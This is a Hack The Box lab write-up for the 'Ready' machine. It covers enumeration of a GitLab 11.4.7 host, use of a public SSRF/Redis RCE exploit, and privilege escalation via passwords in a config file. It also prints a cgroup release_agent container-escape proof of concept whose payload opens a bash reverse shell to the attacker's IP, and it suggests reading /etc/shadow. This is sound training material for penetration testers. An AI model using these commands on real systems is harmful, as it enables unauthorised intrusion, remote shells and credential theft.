Hackthebox — Ready Writeup by Pentestical
Hackthebox — Ready
In this writeup, we’ll cover the box “Ready”. I enjoyed this lab really a lot. Special thanks to bertolis for creating this one. So, let’s directly jump into it!
Before we dive into enumerating the box, let’s quickly see what we have. We know that the host is running Linux, the name is “Ready” (somehow cryptic right now) and that this box is more about a specific CVE rather than CTF-ish. So we expect playing around with a certain exploit at some point. Let’s keep the name of this box in mind. It might be useful later.
DNS Enumeration
Since this is a hackthebox room, we have no other clues about the network itself. All we know is the machine IP address, which we can start enumerating now. Ready?
Port Scanning
The port scan is usually the very first step, so we need to make sure not to miss anything. We could stuck on this host for almost days trying to figure out why. That’s why I like to revert the box before starting. And now, after a fresh revert, let’s start with a quick nmap scan to make sure we are not generating a too large amount of traffic on the target system. Running nmap scans blindly can have a huge impact on the target systems, especially in live environments. So we use the flag “ — top-ports 1000” to scan for the top 1000 most popular ports.
We have discovered two open ports. SSH on port 22 and onscreen on port 5080. Now we can start a more heavier nmap scan for the ports we just picked up. By using the flag “ — sC” we do a script scan and with the “ — sV” flag we will enumerate the service/version. We use the “-p” flag to specify which ports we want to scan. In our case, port 22 and port 5080.
Just in case we don’t miss anything, we do another full nmap scan with the flag “-p-” to indicate that we want to scan all 65355 ports. It does not show anything new.
And now let’s make sure to scan for UDP ports. A lot of folks are skipping this part, but scanning TCP ports is only half of the game. We have the flag “-sU” to scan for UDP ports, with “-Pn” we skip the ping test.
sudo nmap -sU -Pn 10.10.10.220
Let’s analyze what we have found.
Service Enumeration
SSH (tcp/port 22)
The Secure Shell (or ssh) provides a secure channel over an unsecured network. By standard, it serves on port 22. It is usually not considered as “low-hanging fruit”, since it’s been around for quite a while. This doesn’t mean it can’t be heavily misconfigured or hasn’t any flaws, but we have a smaller attack surface on this one. What we typically look for are bad ssh keys, which are used multiple times, custom banner and key fingerprinting. From our nmap scan, we already see the banner and the ssh-hostkeys being used:
We can observe that the host is most likely running Ubuntu and OpenSSH 8.2p1. From a quick Google search, we can guess the OS version:
We can assume that the host is probably running Ubuntu 20.04 LTS.
SSH uses different authentication mechanism, so we can either login as user with a password prompt or by entering a passphrase. Let’s try to figure it out:
We get asked for a simple password authentication, so the host might accept at least some users with passwords. Or accept both, entering password and passphrases. We could try to bruteforce users, however, there is a small chance that this will lead to success. Having some user names and/or some potential passwords would be great before we attempt to bruteforce our way in. To summarize, what we could do from now on:
- username enumeration by the Metasploit module scanner/ssh/ssh_enumusers
- bruteforce with default credentials using tools like Hydra
- bruteforce with custom usernames and/or passwords using Hydra after more enumeration on the other port
→ we should enumerate more to get at least some usernames before we come back to SSH
HTTP (tcp/port 5080)
Which was flagged as “onscreen” on the light scan, turned out being HTTP on port 5080. HTTP is the most common and extensive service. Trying to cover all of the existing vulnerabilities would go beyond the scope of this writeup. The default port for HTTP is port 80, but in our case it serves on port 5080. We have a really huge attack surface here and the nmap scan already showed us promising results like a robots.txt file.
Automatic scanning with nikto
But before we dive into it, I like to start a nikto scan with a simpel command like
nikto -h 10.10.10.220
As we can observe, nikto tells us that our host runs the powerful web server nginx. The nmap scan (figure 3) indicates the same. The next step could be trying to figure out which exact version of nginx is being used and if there are any known vulnerabilities for it. We have also some entries on robots.txt, which we will talk about in a bit. And nikto found some directories:
/users/sign_in
/autocomplete/users
/search
/help
/public
/search.vts
/test
/help.php
/.well-known/openid-configuration
Furthermore, nikto tells us that the web server leaks its real IP with the value of 172.19.0.2 and it found some uncommon header:
x-request-id
x-runtime
x-gitlab-custom-error
Inspecting the web server
Before we start the rendering of the page with the web browser, let’s begin with a simpel curl command to inspect it. The flag “-i” means that it includes the HTTP response headers in the output.
We can observe that we will be redirected to /users/sign_in, which is most likely a registration page. So, let’s follow the flow of the web server.
curl -i http://10.10.10.220:5080/users/sign_in
The output is quite a lot, therefore I’ll remove unnecassary parts:
<!DOCTYPE html>
--SNIP--
<meta content="GitLab Community Edition"
--SNIP--<title>Sign in · GitLab</title>
--SNIP--
--SNIP--<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="N/sPALzOeMIpBEyAwrFz/ODQ3GhXut/UA3kOjPHyRJ0h1gqkLie5zQkTXgkXLZfABOAU2HutcDF72KWLRE5G6w==" />
<meta content="origin-when-cross-origin" name="referrer">
<meta content="width=device-width, initial-scale=1, maximum-scale=1" name="viewport">--SNIP--
--SNIP--<href="#login-pane" role="tab">Sign in</a>
</li>
<li class="nav-item" role="presentation">
<a class="nav-link qa-register-tab" data-toggle="tab" href="#register-pane" role="tab">Register</a>
</li>
</ul><div class="tab-content">
<div class="login-box tab-pane active" id="login-pane" role="tabpanel">
<div class="login-body">
<form class="new_user gl-show-field-errors" aria-live="assertive" id="new_user" action="/users/sign_in" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="ea0E00fSHKD6oRDFyIIETPKm3McdLgdreq27T2k3HCVvgAF31Tvdr9q2AkwdHuBwFpYUdzE5qI4CDBBI3IseUw==" /><div class="form-group">
<label for="user_login" class="label-bold">Username or email</label>
<input class="form-control top qa-login-field" autofocus="autofocus" autocapitalize="off" autocorrect="off" required="required" title="This field is required." type="text" name="user[login]" id="user_login" />--SNIP--
--SNIP--
--SNIP--<a href="/help">Help</a>
<a href="https://about.gitlab.com/">About GitLab</a>
--SNIP--
We found a GitLab login page with the GitLab Community Edition running on. Let’s browse the page to see how it looks:
When we search for default credentials, we find:
Trying a few default credentials out like admin:admin, admin:password, admin@local.host:5iveL! fe, user:password, admin:pass won’t let us in. We note the format of the username “@local.host” and keep moving for now.
Let’s quickly summarize, what we have as options left:
- identifying nginx version and other technologies being used
- identify cookies and manipulate them
- bruteforce GitLab login page with Hydra
- create a new user on the GitLab page to enumerate more
- enumerate robots.txt and it’s entries
- directory bruteforce with tools like gobuster, dirb, etc.
The most promising way is to enumerate the target more before we try out exploits or something fancy. So let’s quickly go through the robots.txt file.
The robots.txt file
The robots.txt file is an instruction for web crawler which pages they can and which they cannot crawl. However, we are not web crawlers or bots. So we can manually inspect all directories, which are listed there. Let’s curl it again.
curl http://10.10.10.220:5080/robots.txt
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Directory bruteforce
We can’t really access them because we are not logged in yet. So let’s create an user account with some random values first.
Before we access the pages, let’s search for more hidden directories using gobuster. With “dir” we start a directory bruteforce using a wordlist. The flag “-u” stands for the URL we want to access, “-w” for the wordlist (I choosed a smaller one to start with, common.txt) and “-t 10” for 10 threads.
gobuster dir -u http://10.10.10.220:5080/ -w /usr/share/wordlists/dirb/common.txt -t 10
As we can observe, gobuster does not work with the default settings. To avoid this issue, we can login as the user we just created and use it’s cookies for the directory bruteforce attack. So let’s inspect the cookies with the “Cookie Editor” extension on firefox (or alternatively, using “inspect elements”):
We can fairly assume, that “sidebar_collapsed” isn’t of any interest. Instead, “_gitlab_session” looks like a session cookie we can use to tell the web server who we are. Since HTTP is a stateless protocol, we need to use the cookies. Let’s open the help menu of gobuster to see how we specify cookies:
So we need to use the flag “-c” for additional cookies. Let’s use it:
gobuster dir -u http://10.10.10.220:5080/ -w /usr/share/wordlists/dirb/common.txt -t 10 -c _gitlab_session=4e595b97122ecae815a3f8644e903746
To make sure we don’t miss anything, let’s use another, bigger wordlist. I like to use dirsearch for the second, more intense scan because of the recursive level:
python3 /opt/dirsearch/dirsearch/dirsearch.py -u $1 -x 403 -r -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e php,aspx,txt,html -t 10
While this is running in the background, let’s inspect the GitLab page for vulnerabilties. What we typically look for are file upload buttons, search bars, etc. Can we maybe upload a php shell as user profile picture? Can we trigger XSS due to a search field? Do we have local file inclusions? All things to keep in mind.
Manual enumeration
Now let’s use the webpage as a regular user would do, use its functionalities, click around to see what is there. By browsing to the /help directory, we find the version being used:
We found out that GitLab Community Edition 11.4.7 is being used! And from the red button “update asap” we can assume, that this version is being outdated. Before we look into exploits, let’s enumerate the target system more to make sure not to miss any attack vector. On our /profile, we can upload pictures:
We could try to bypass it to upload a php reverse shell. Let’s inspect what we still have.
By browsing the directory /root, we found the Administrator account. One thing to consider is, that hackthebox shares the labs with other students. The date indicates us, that this user is not the account of any hackthebox user, since we reverted the box on the same day.
From /dashboard, we go to /projects/new to create a new project:
This looks like an interesting attack vector, but let’s move on for now. On /search, we will find a search bar:
We won’t find much from now on, let’s take the next step into exploiting the target.
Exploitation
Before we attempt to exploit this target system, we will analyze what we have.
- SSH bruteforce the root account with Hydra
- XSS (or something else) on search field
- php reverse shell (RCE) on profile picture
- enumerate the target more to find new weaknesses
- directory bruteforce for more subdirectories
- research vulnerabilities for GitLab Community Edition 11.4.7
- bruteforce the root account on GitLab using Hydra
- identify nginx version or other technologies being used
- possible SSRF vulnerability
- testing for SQLi on profile, search bar, etc.
→ we remember that this room was about a specific CVE, and our biggest chance is to look for vulnerabilities of the GitLab version which is being used, GitLab Community Edition 11.4.7.
We’ll set a timer of 30 min to make sure to rotate to the next possible attack vector, if we don’t manage to get any further with it. I’m gonna use my own bash function, feel free to check it out:
Ready? Let’s goo.
After a quick Google search by “GitLab Community Edition 11.4.7 exploit”, we will find an RCE on exploit-db.
Let’s make sure to understand this vulnerability before attempting to try it. We find a great explanation under:
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
I highly suggest reading the above article to get a better idea of what happening, but in short:
The idea is to talk to this internal Redis server by using the SSRF vulnerability and smuggling one protocol(Redis) in another(
git://
) and get the Remote Code Execution.
How we exploit this RCE? It’s pretty well explained in the exploit itself:
So we simply need to get username, authenticity_token, the _gitlab_session cookie we used earlier (+ sidebar_collapsed cookie) and specify localport/IP for our reverse shell. Let’s fire up Burp and capture the request.
As HTTP response, we get the authenticity token:
And last but not least, we choose the username we used earlier to create this account. Let’s download the exploit first:
wget https://www.exploit-db.com/download/49257 -O gitlab-exploit.py
We need to make it executable:
chmod +x gitlab-exploit.py
Now let’s change the values at line 23–29:
Now let’s simply use the exploit. From the synthax of the exploit we can assume that it is written in Python3:
python3 gitlab-exploit.py
And this is how it should look like:
Privilege Escalation
Shellupgrade
The goal should be always to escalate the privileges as much as possible. The very first step I’m always take is to upgrade my shell. Let’s use python to get a fully interactive TTY shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
I like to pimp my shell a bit more, but the following steps are optional and allow you to use autocomplete, the clear command and history enabling:
#tab autocomplete
Ctrl+z #background your session
stty raw -echo; fg#Clear screen
export TERM=xterm-256color#History enabling
export SHELL=bash
For further reading: https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2
Vertical Escalation
Currently, we are the user “git”, but we can observe that (beside of root) there is another user called “dude”.
First of all, let’s collect the user.txt flag inside the /home/dude directory.
Now, let’s start enumerating the box. I’m going to use linpeas for this, since this will save us some time. To transfer it into the target box, I’ll use a simpel Python listener on my attacker box (linpeas.sh should be in the same folder):
python -m SimpleHTTPServer 80
On the target system, we use wget to download it and make it executable:
cd /tmp
wget http://your-hackthebox-ip:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
After reviewing the rest of linpeas’ output, nothing special can be found. So I decided to enumerate the box manually. We are in a docker and need obviously to escape, but before we can do so, we need to escalate our privileges. After looking around for a while, I found some interesting config files. Try to look always for unusual files in unusual places. Well, this comes down with a bit of experience I guess. The /opt folder is always worth checking out:
Let’s look for any passwords:
cat gitlab.rb | grep password
Let’s see if we can use them to login as root:
Escape the docker!
We are in a docker, but what exactly is a docker?
Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications.
(source: https://docs.docker.com/get-docker/, 25.12.2020)
So a docker is basically something like a jail. We are in the system, but separated. We need to escape this docker in order to get full access to the system. After googling a bit how to espace a docker, we come across this POC:
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/your-hackthebox-ip/4444 0>&1" >> /cmd
chmod a+x /cmd
#===================================
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
And by using this technique, we escape successfully the docker and get another root shell:
And now let’s grab the root flag under /root/root.txt:
Final thoughts
And that’s it. For the Post-Enumeration part: We could now crack the password of the user “dude”. Access the password hashes with a simpel cat command:
cat /etc/shadow
Furthermore, ifconfig or netstat can help to enumerate the target system more. But that should be enough for today. If you enjoyed this writeup, let me know. For any questions hit me on discord (PenTestical#1892). We pawned another great one.